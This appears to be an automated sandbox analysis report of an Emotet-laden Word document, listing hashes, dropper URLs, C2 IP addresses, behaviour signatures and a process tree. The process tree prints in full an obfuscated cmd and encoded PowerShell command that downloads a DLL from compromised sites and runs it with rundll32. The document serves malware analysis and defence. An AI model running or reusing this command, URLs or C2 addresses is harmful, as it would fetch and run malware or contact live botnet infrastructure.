Analysis

  • max time kernel
    139s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    11-02-2021 19:52

General

  • Target

    d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe.doc

  • Size

    164KB

  • MD5

    02b2dee96e10003270606dfd7e059d23

  • SHA1

    defe94b8ae07e6c5db6942bc7d020b615c4ba75d

  • SHA256

    d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe

  • SHA512

    4ebd0002c4c75788efdcd928d86da802c0a7d7152e96d6d900c72c656e14fbe62562aa8dff5f409ef1c158fb36c3e05a065c07093b104d3ae10e7ff0cc7c02a4

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.achutamanasa.com/media/Te/

exe.dropper

http://opticaquilin.cl/wp-includes/FFueL/

exe.dropper

https://www.infoquick.co.uk/assets/h/

exe.dropper

http://vilajansen.com.br/loja_old_1/p/

exe.dropper

http://oftalmovilaplana.com/wp-includes/wfKu/

exe.dropper

https://cashyinvestment.org/wp-content/21dIZ/

exe.dropper

http://merkadito.mx/upload/6/

Extracted

Family

emotet

Botnet

Epoch2

C2

12.175.220.98:80

162.241.204.233:8080

50.116.111.59:8080

172.86.188.251:8080

139.99.158.11:443

66.57.108.14:443

75.177.207.146:80

194.190.67.75:80

50.245.107.73:443

173.70.61.180:80

85.105.205.77:8080

104.131.11.150:443

62.75.141.82:80

70.92.118.112:80

194.4.58.192:7080

120.150.60.189:80

24.231.88.85:80

78.24.219.147:8080

110.142.236.207:80

119.59.116.21:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 13 IoCs
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d297c0a4c89de58051ca734994c514d423a71d1a0fcad5c1da9a76f402bd3bbe.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:844
  • C:\Windows\system32\cmd.exe
    cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABzAHYAIAB0ADcAZQAgACAAKAAgAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADYAfQB7ADQAfQB7ADUAfQB7ADMAfQB7ADIAfQB7ADAAfQAiAC0ARgAnAHkAJwAsACcAcwAnACwAJwBSAEUAYwB0AG8AUgAnACwAJwBkAEkAJwAsACcARQBtAC4ASQBvACcALAAnAC4AJwAsACcAeQBTAHQAJwApACAAKQAgACAAOwAgACQAcgAwAG4AQwB3AE0AIAA9ACAAIABbAFQAWQBwAGUAXQAoACIAewAyAH0AewA1AH0AewA5AH0AewAzAH0AewAwAH0AewAxAH0AewA2AH0AewA3AH0AewA0AH0AewA4AH0AIgAtAEYAIAAnAHMAZQBSACcALAAnAHYASQBjAGUAJwAsACcAcwAnACwAJwBNAC4AbgBlAFQALgAnACwAJwBBAG4AQQBHAGUAJwAsACcAeQBzACcALAAnAHAAbwAnACwAJwBJAE4AVABNACcALAAnAHIAJwAsACcAVABlACcAKQAgADsAIAAkAEoAdQB5AHkAbwBwAHEAPQAkAFcAOAAxAEYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE4AMQA2AEkAOwAkAEQAMQAxAEsAPQAoACcARQAnACsAKAAnADIAJwArACcAMgBBACcAKQApADsAIAAkAFQANwBlADoAOgAiAGMAcgBFAGEAYABUAGAAZQBkAGAASQBSAGUAYwB0AGAATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAJwArACcAfQAnACsAJwBUACcAKwAnAGwAJwArACcANAAxAHAAdQB4AHsAMAB9ACcAKwAoACcAQgAnACsAJwBtAGQAXwAnACsAJwBwADUAZgAnACkAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAIABbAGMASABBAHIAXQA5ADIAKQApADsAJABSADgANwBZAD0AKAAnAEQAJwArACgAJwA1ADkAJwArACcASAAnACkAKQA7ACAAKAAgACAAZwBFAFQALQB2AEEAUgBpAGEAYgBsAGUAIAAoACcAUgAwACcAKwAnAE4AQwB3AG0AJwApACAALQB2AGEAbAB1AEUAbwBuAGwAWQAgACkAOgA6ACIAUwBFAEMAVQBSAGAASQBgAFQAeQBwAGAAUgBvAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbAAnACsAJwBzADEAMgAnACkAKQA7ACQARwA2ADUAQgA9ACgAJwBUACcAKwAoACcANAAzACcAKwAnAEIAJwApACkAOwAkAE0AegB6AHQAZABvAGcAIAA9ACAAKAAnAEcAJwArACgAJwAzACcAKwAnADUARAAnACkAKQA7ACQAUQA2ADgAVgA9ACgAJwBYADQAJwArACcAOQBCACcAKQA7ACQAUQB1AHQANABwAHIAbwA9ACQASABPAE0ARQArACgAKAAnAEEASwAnACsAKAAnAGkAJwArACcAVABsADQAJwArACcAMQBwAHUAeABBAEsAJwApACsAJwBpACcAKwAnAEIAJwArACcAbQAnACsAKAAnAGQAXwAnACsAJwBwADUAJwApACsAKAAnAGYAQQAnACsAJwBLAGkAJwApACkALQBSAGUAUABMAEEAYwBFACAAIAAoACcAQQBLACcAKwAnAGkAJwApACwAWwBjAEgAQQBSAF0AOQAyACkAKwAkAE0AegB6AHQAZABvAGcAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABGADEAMgBFAD0AKAAnAEIANAAnACsAJwAzAEQAJwApADsAJABCAGoAeQB2ADcAYwBiAD0AKAAoACcAcwBnACAAJwArACcAeQAnACkAKwAoACcAdwAgAGEAJwArACcAaAAnACkAKwAnADoALwAnACsAKAAnAC8AdwAnACsAJwB3AHcAJwApACsAKAAnAC4AYQBjAGgAJwArACcAdQB0ACcAKQArACcAYQBtACcAKwAoACcAYQAnACsAJwBuAGEAcwBhACcAKQArACgAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAKAAnAG0AZQBkAGkAJwArACcAYQAnACsAJwAvAFQAZQAvAEAAJwApACsAJwBzAGcAJwArACcAIAB5ACcAKwAoACcAdwAgAGEAaAAnACsAJwA6ACcAKQArACcALwAnACsAJwAvAG8AJwArACcAcAAnACsAJwB0ACcAKwAoACcAaQBjAGEAcQAnACsAJwB1ACcAKQArACgAJwBpAGwAaQBuAC4AJwArACcAYwBsACcAKQArACcALwAnACsAKAAnAHcAJwArACcAcAAtACcAKQArACcAaQBuACcAKwAnAGMAbAAnACsAKAAnAHUAJwArACcAZABlAHMALwAnACsAJwBGAEYAJwApACsAKAAnAHUAZQBMAC8AQAAnACsAJwBzAGcAIAAnACsAJwB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoAHMAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAHcAdwB3ACcAKwAnAC4AaQAnACkAKwAnAG4AJwArACgAJwBmAG8AcQB1ACcAKwAnAGkAYwAnACsAJwBrAC4AYwBvAC4AJwApACsAKAAnAHUAJwArACcAawAvAGEAcwAnACkAKwAoACcAcwBlACcAKwAnAHQAJwArACcAcwAvAGgALwBAAHMAZwAnACkAKwAoACcAIAB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoACcAKwAnADoALwAvAHYAJwApACsAJwBpACcAKwAoACcAbABhACcAKwAnAGoAYQBuACcAKwAnAHMAJwApACsAJwBlACcAKwAnAG4AJwArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACcALgAnACsAKAAnAGIAJwArACcAcgAvACcAKwAnAGwAbwBqAGEAXwBvAGwAZAAnACkAKwAoACcAXwAxAC8AcAAnACsAJwAvACcAKwAnAEAAcwAnACsAJwBnACAAeQB3ACAAYQBoACcAKQArACgAJwA6AC8ALwAnACsAJwBvAGYAdABhACcAKwAnAGwAJwApACsAKAAnAG0AbwAnACsAJwB2ACcAKQArACgAJwBpAGwAJwArACcAYQBwACcAKwAnAGwAYQBuAGEALgAnACkAKwAnAGMAJwArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AaQBuAGMAJwApACsAKAAnAGwAJwArACcAdQBkACcAKQArACgAJwBlAHMAJwArACcALwAnACkAKwAoACcAdwBmACcAKwAnAEsAdQAnACkAKwAnAC8AJwArACcAQAAnACsAJwBzAGcAJwArACgAJwAgAHkAJwArACcAdwAgAGEAJwApACsAKAAnAGgAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAYwBhACcAKQArACcAcwBoACcAKwAoACcAeQAnACsAJwBpAG4AJwArACcAdgBlAHMAJwApACsAKAAnAHQAbQAnACsAJwBlACcAKQArACgAJwBuACcAKwAnAHQALgAnACkAKwAoACcAbwByAGcAJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAYwBvACcAKQArACgAJwBuAHQAJwArACcAZQBuACcAKQArACcAdAAvACcAKwAnADIAJwArACgAJwAxACcAKwAnAGQASQBaAC8AJwApACsAKAAnAEAAJwArACcAcwBnACAAJwApACsAKAAnAHkAdwAgACcAKwAnAGEAJwApACsAJwBoADoAJwArACcALwAvACcAKwAoACcAbQBlAHIAJwArACcAawBhAGQAJwArACcAaQB0AG8ALgAnACkAKwAoACcAbQAnACsAJwB4AC8AJwApACsAKAAnAHUAcAAnACsAJwBsACcAKQArACgAJwBvAGEAZAAnACsAJwAvADYAJwArACcALwAnACkAKQAuACIAcgBFAGAAUABMAGEAYwBlACIAKAAoACgAJwBzACcAKwAnAGcAIAAnACkAKwAoACcAeQB3ACAAJwArACcAYQBoACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAcwAnACsAKAAnAGUAJwArACcAdwBmACcAKQApACwAKAAnAHcAZQAnACsAKAAnAHYAJwArACcAdwBlACcAKQApACkALAAoACcAYQBlACcAKwAnAGYAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBTAFAAbABgAEkAVAAiACgAJABRADcAXwBQACAAKwAgACQASgB1AHkAeQBvAHAAcQAgACsAIAAkAFYAMAAxAFUAKQA7ACQASwAzADYATgA9ACgAKAAnAFEAOQAnACsAJwBfACcAKQArACcASgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFgAcgBfAHMAdgB6AGMAIABpAG4AIAAkAEIAagB5AHYANwBjAGIAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAnACsAJwAtAE8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAHMAWQBTAFQAZQBNAC4ATgBlAHQALgBXAEUAQgBjAGwASQBFAE4AVAApAC4AIgBEAE8AdwBuAEwATwBgAEEARABGAGAAaQBMAEUAIgAoACQAWAByAF8AcwB2AHoAYwAsACAAJABRAHUAdAA0AHAAcgBvACkAOwAkAFkAOAA0AEQAPQAoACcAUgAzACcAKwAnADEAVgAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAUQB1AHQANABwAHIAbwApAC4AIgBsAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADMAMwA1ADAAMQApACAAewAmACgAJwByAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABRAHUAdAA0AHAAcgBvACwAKAAoACcAQQBuAHkAUwAnACsAJwB0ACcAKQArACcAcgBpACcAKwAnAG4AZwAnACkALgAiAHQAYABPAHMAVAByAGAASQBuAGcAIgAoACkAOwAkAEEANAAxAFUAPQAoACgAJwBOADEAJwArACcAMQAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABIADEAMwBNAD0AKAAnAFAANwAnACsAJwA5AFAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABLADAAMABDAD0AKAAoACcASAAwACcAKwAnAF8AJwApACsAJwBDACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:916
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:696
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -w hidden -enc IABzAHYAIAB0ADcAZQAgACAAKAAgAFsAVABZAFAARQBdACgAIgB7ADEAfQB7ADYAfQB7ADQAfQB7ADUAfQB7ADMAfQB7ADIAfQB7ADAAfQAiAC0ARgAnAHkAJwAsACcAcwAnACwAJwBSAEUAYwB0AG8AUgAnACwAJwBkAEkAJwAsACcARQBtAC4ASQBvACcALAAnAC4AJwAsACcAeQBTAHQAJwApACAAKQAgACAAOwAgACQAcgAwAG4AQwB3AE0AIAA9ACAAIABbAFQAWQBwAGUAXQAoACIAewAyAH0AewA1AH0AewA5AH0AewAzAH0AewAwAH0AewAxAH0AewA2AH0AewA3AH0AewA0AH0AewA4AH0AIgAtAEYAIAAnAHMAZQBSACcALAAnAHYASQBjAGUAJwAsACcAcwAnACwAJwBNAC4AbgBlAFQALgAnACwAJwBBAG4AQQBHAGUAJwAsACcAeQBzACcALAAnAHAAbwAnACwAJwBJAE4AVABNACcALAAnAHIAJwAsACcAVABlACcAKQAgADsAIAAkAEoAdQB5AHkAbwBwAHEAPQAkAFcAOAAxAEYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE4AMQA2AEkAOwAkAEQAMQAxAEsAPQAoACcARQAnACsAKAAnADIAJwArACcAMgBBACcAKQApADsAIAAkAFQANwBlADoAOgAiAGMAcgBFAGEAYABUAGAAZQBkAGAASQBSAGUAYwB0AGAATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAJwArACcAfQAnACsAJwBUACcAKwAnAGwAJwArACcANAAxAHAAdQB4AHsAMAB9ACcAKwAoACcAQgAnACsAJwBtAGQAXwAnACsAJwBwADUAZgAnACkAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAIABbAGMASABBAHIAXQA5ADIAKQApADsAJABSADgANwBZAD0AKAAnAEQAJwArACgAJwA1ADkAJwArACcASAAnACkAKQA7ACAAKAAgACAAZwBFAFQALQB2AEEAUgBpAGEAYgBsAGUAIAAoACcAUgAwACcAKwAnAE4AQwB3AG0AJwApACAALQB2AGEAbAB1AEUAbwBuAGwAWQAgACkAOgA6ACIAUwBFAEMAVQBSAGAASQBgAFQAeQBwAGAAUgBvAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbAAnACsAJwBzADEAMgAnACkAKQA7ACQARwA2ADUAQgA9ACgAJwBUACcAKwAoACcANAAzACcAKwAnAEIAJwApACkAOwAkAE0AegB6AHQAZABvAGcAIAA9ACAAKAAnAEcAJwArACgAJwAzACcAKwAnADUARAAnACkAKQA7ACQAUQA2ADgAVgA9ACgAJwBYADQAJwArACcAOQBCACcAKQA7ACQAUQB1AHQANABwAHIAbwA9ACQASABPAE0ARQArACgAKAAnAEEASwAnACsAKAAnAGkAJwArACcAVABsADQAJwArACcAMQBwAHUAeABBAEsAJwApACsAJwBpACcAKwAnAEIAJwArACcAbQAnACsAKAAnAGQAXwAnACsAJwBwADUAJwApACsAKAAnAGYAQQAnACsAJwBLAGkAJwApACkALQBSAGUAUABMAEEAYwBFACAAIAAoACcAQQBLACcAKwAnAGkAJwApACwAWwBjAEgAQQBSAF0AOQAyACkAKwAkAE0AegB6AHQAZABvAGcAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABGADEAMgBFAD0AKAAnAEIANAAnACsAJwAzAEQAJwApADsAJABCAGoAeQB2ADcAYwBiAD0AKAAoACcAcwBnACAAJwArACcAeQAnACkAKwAoACcAdwAgAGEAJwArACcAaAAnACkAKwAnADoALwAnACsAKAAnAC8AdwAnACsAJwB3AHcAJwApACsAKAAnAC4AYQBjAGgAJwArACcAdQB0ACcAKQArACcAYQBtACcAKwAoACcAYQAnACsAJwBuAGEAcwBhACcAKQArACgAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAKAAnAG0AZQBkAGkAJwArACcAYQAnACsAJwAvAFQAZQAvAEAAJwApACsAJwBzAGcAJwArACcAIAB5ACcAKwAoACcAdwAgAGEAaAAnACsAJwA6ACcAKQArACcALwAnACsAJwAvAG8AJwArACcAcAAnACsAJwB0ACcAKwAoACcAaQBjAGEAcQAnACsAJwB1ACcAKQArACgAJwBpAGwAaQBuAC4AJwArACcAYwBsACcAKQArACcALwAnACsAKAAnAHcAJwArACcAcAAtACcAKQArACcAaQBuACcAKwAnAGMAbAAnACsAKAAnAHUAJwArACcAZABlAHMALwAnACsAJwBGAEYAJwApACsAKAAnAHUAZQBMAC8AQAAnACsAJwBzAGcAIAAnACsAJwB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoAHMAOgAnACsAJwAvACcAKQArACgAJwAvACcAKwAnAHcAdwB3ACcAKwAnAC4AaQAnACkAKwAnAG4AJwArACgAJwBmAG8AcQB1ACcAKwAnAGkAYwAnACsAJwBrAC4AYwBvAC4AJwApACsAKAAnAHUAJwArACcAawAvAGEAcwAnACkAKwAoACcAcwBlACcAKwAnAHQAJwArACcAcwAvAGgALwBAAHMAZwAnACkAKwAoACcAIAB5AHcAJwArACcAIAAnACkAKwAoACcAYQBoACcAKwAnADoALwAvAHYAJwApACsAJwBpACcAKwAoACcAbABhACcAKwAnAGoAYQBuACcAKwAnAHMAJwApACsAJwBlACcAKwAnAG4AJwArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACcALgAnACsAKAAnAGIAJwArACcAcgAvACcAKwAnAGwAbwBqAGEAXwBvAGwAZAAnACkAKwAoACcAXwAxAC8AcAAnACsAJwAvACcAKwAnAEAAcwAnACsAJwBnACAAeQB3ACAAYQBoACcAKQArACgAJwA6AC8ALwAnACsAJwBvAGYAdABhACcAKwAnAGwAJwApACsAKAAnAG0AbwAnACsAJwB2ACcAKQArACgAJwBpAGwAJwArACcAYQBwACcAKwAnAGwAYQBuAGEALgAnACkAKwAnAGMAJwArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AaQBuAGMAJwApACsAKAAnAGwAJwArACcAdQBkACcAKQArACgAJwBlAHMAJwArACcALwAnACkAKwAoACcAdwBmACcAKwAnAEsAdQAnACkAKwAnAC8AJwArACcAQAAnACsAJwBzAGcAJwArACgAJwAgAHkAJwArACcAdwAgAGEAJwApACsAKAAnAGgAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAYwBhACcAKQArACcAcwBoACcAKwAoACcAeQAnACsAJwBpAG4AJwArACcAdgBlAHMAJwApACsAKAAnAHQAbQAnACsAJwBlACcAKQArACgAJwBuACcAKwAnAHQALgAnACkAKwAoACcAbwByAGcAJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAYwBvACcAKQArACgAJwBuAHQAJwArACcAZQBuACcAKQArACcAdAAvACcAKwAnADIAJwArACgAJwAxACcAKwAnAGQASQBaAC8AJwApACsAKAAnAEAAJwArACcAcwBnACAAJwApACsAKAAnAHkAdwAgACcAKwAnAGEAJwApACsAJwBoADoAJwArACcALwAvACcAKwAoACcAbQBlAHIAJwArACcAawBhAGQAJwArACcAaQB0AG8ALgAnACkAKwAoACcAbQAnACsAJwB4AC8AJwApACsAKAAnAHUAcAAnACsAJwBsACcAKQArACgAJwBvAGEAZAAnACsAJwAvADYAJwArACcALwAnACkAKQAuACIAcgBFAGAAUABMAGEAYwBlACIAKAAoACgAJwBzACcAKwAnAGcAIAAnACkAKwAoACcAeQB3ACAAJwArACcAYQBoACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAKAAnAGQAcwAnACsAKAAnAGUAJwArACcAdwBmACcAKQApACwAKAAnAHcAZQAnACsAKAAnAHYAJwArACcAdwBlACcAKQApACkALAAoACcAYQBlACcAKwAnAGYAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBTAFAAbABgAEkAVAAiACgAJABRADcAXwBQACAAKwAgACQASgB1AHkAeQBvAHAAcQAgACsAIAAkAFYAMAAxAFUAKQA7ACQASwAzADYATgA9ACgAKAAnAFEAOQAnACsAJwBfACcAKQArACcASgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFgAcgBfAHMAdgB6AGMAIABpAG4AIAAkAEIAagB5AHYANwBjAGIAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAnACsAJwAtAE8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAHMAWQBTAFQAZQBNAC4ATgBlAHQALgBXAEUAQgBjAGwASQBFAE4AVAApAC4AIgBEAE8AdwBuAEwATwBgAEEARABGAGAAaQBMAEUAIgAoACQAWAByAF8AcwB2AHoAYwAsACAAJABRAHUAdAA0AHAAcgBvACkAOwAkAFkAOAA0AEQAPQAoACcAUgAzACcAKwAnADEAVgAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAUQB1AHQANABwAHIAbwApAC4AIgBsAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADMAMwA1ADAAMQApACAAewAmACgAJwByAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABRAHUAdAA0AHAAcgBvACwAKAAoACcAQQBuAHkAUwAnACsAJwB0ACcAKQArACcAcgBpACcAKwAnAG4AZwAnACkALgAiAHQAYABPAHMAVAByAGAASQBuAGcAIgAoACkAOwAkAEEANAAxAFUAPQAoACgAJwBOADEAJwArACcAMQAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABIADEAMwBNAD0AKAAnAFAANwAnACsAJwA5AFAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABLADAAMABDAD0AKAAoACcASAAwACcAKwAnAF8AJwApACsAJwBDACcAKQA=
        2⤵
        • Blocklisted process makes network request
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:532
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tl41pux\Bmd_p5f\G35D.dll AnyString
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1128
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tl41pux\Bmd_p5f\G35D.dll AnyString
            4⤵
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:1108
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\Tl41pux\Bmd_p5f\G35D.dll",#1
              5⤵
              • Loads dropped DLL
              • Drops file in System32 directory
              • Suspicious use of WriteProcessMemory
              PID:664
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Froktyco\uyrmjsw.apz",YzwcjBsNjkiUsev
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:800
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Froktyco\uyrmjsw.apz",#1
                  7⤵
                  • Blocklisted process makes network request
                  • Suspicious behavior: EnumeratesProcesses
                  PID:992

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\Tl41pux\Bmd_p5f\G35D.dll
      MD5

      87ab0405dd92650067542696ee0c2c98

      SHA1

      204e0200e2c648edf70d90472e0b6c4b15bc58c8

      SHA256

      8a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45

      SHA512

      2fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2

    • \Users\Admin\Tl41pux\Bmd_p5f\G35D.dll
      MD5

      87ab0405dd92650067542696ee0c2c98

      SHA1

      204e0200e2c648edf70d90472e0b6c4b15bc58c8

      SHA256

      8a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45

      SHA512

      2fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2

    • \Users\Admin\Tl41pux\Bmd_p5f\G35D.dll
      MD5

      87ab0405dd92650067542696ee0c2c98

      SHA1

      204e0200e2c648edf70d90472e0b6c4b15bc58c8

      SHA256

      8a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45

      SHA512

      2fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2

    • \Users\Admin\Tl41pux\Bmd_p5f\G35D.dll
      MD5

      87ab0405dd92650067542696ee0c2c98

      SHA1

      204e0200e2c648edf70d90472e0b6c4b15bc58c8

      SHA256

      8a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45

      SHA512

      2fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2

    • \Users\Admin\Tl41pux\Bmd_p5f\G35D.dll
      MD5

      87ab0405dd92650067542696ee0c2c98

      SHA1

      204e0200e2c648edf70d90472e0b6c4b15bc58c8

      SHA256

      8a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45

      SHA512

      2fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2

    • \Users\Admin\Tl41pux\Bmd_p5f\G35D.dll
      MD5

      87ab0405dd92650067542696ee0c2c98

      SHA1

      204e0200e2c648edf70d90472e0b6c4b15bc58c8

      SHA256

      8a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45

      SHA512

      2fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2

    • \Users\Admin\Tl41pux\Bmd_p5f\G35D.dll
      MD5

      87ab0405dd92650067542696ee0c2c98

      SHA1

      204e0200e2c648edf70d90472e0b6c4b15bc58c8

      SHA256

      8a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45

      SHA512

      2fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2

    • \Users\Admin\Tl41pux\Bmd_p5f\G35D.dll
      MD5

      87ab0405dd92650067542696ee0c2c98

      SHA1

      204e0200e2c648edf70d90472e0b6c4b15bc58c8

      SHA256

      8a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45

      SHA512

      2fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2

    • \Users\Admin\Tl41pux\Bmd_p5f\G35D.dll
      MD5

      87ab0405dd92650067542696ee0c2c98

      SHA1

      204e0200e2c648edf70d90472e0b6c4b15bc58c8

      SHA256

      8a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45

      SHA512

      2fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2

    • memory/532-7-0x000007FEFC2B1000-0x000007FEFC2B3000-memory.dmp
      Filesize

      8KB

    • memory/532-9-0x0000000002380000-0x0000000002381000-memory.dmp
      Filesize

      4KB

    • memory/532-13-0x000000001ADA4000-0x000000001ADA6000-memory.dmp
      Filesize

      8KB

    • memory/532-14-0x0000000002010000-0x0000000002011000-memory.dmp
      Filesize

      4KB

    • memory/532-15-0x000000001ACD0000-0x000000001ACD1000-memory.dmp
      Filesize

      4KB

    • memory/532-16-0x0000000002910000-0x0000000002911000-memory.dmp
      Filesize

      4KB

    • memory/532-8-0x000007FEF57C0000-0x000007FEF61AC000-memory.dmp
      Filesize

      9.9MB

    • memory/532-12-0x000000001ADA0000-0x000000001ADA2000-memory.dmp
      Filesize

      8KB

    • memory/532-10-0x000000001AE20000-0x000000001AE21000-memory.dmp
      Filesize

      4KB

    • memory/532-11-0x0000000002540000-0x0000000002541000-memory.dmp
      Filesize

      4KB

    • memory/532-6-0x0000000000000000-mapping.dmp
    • memory/664-25-0x0000000000000000-mapping.dmp
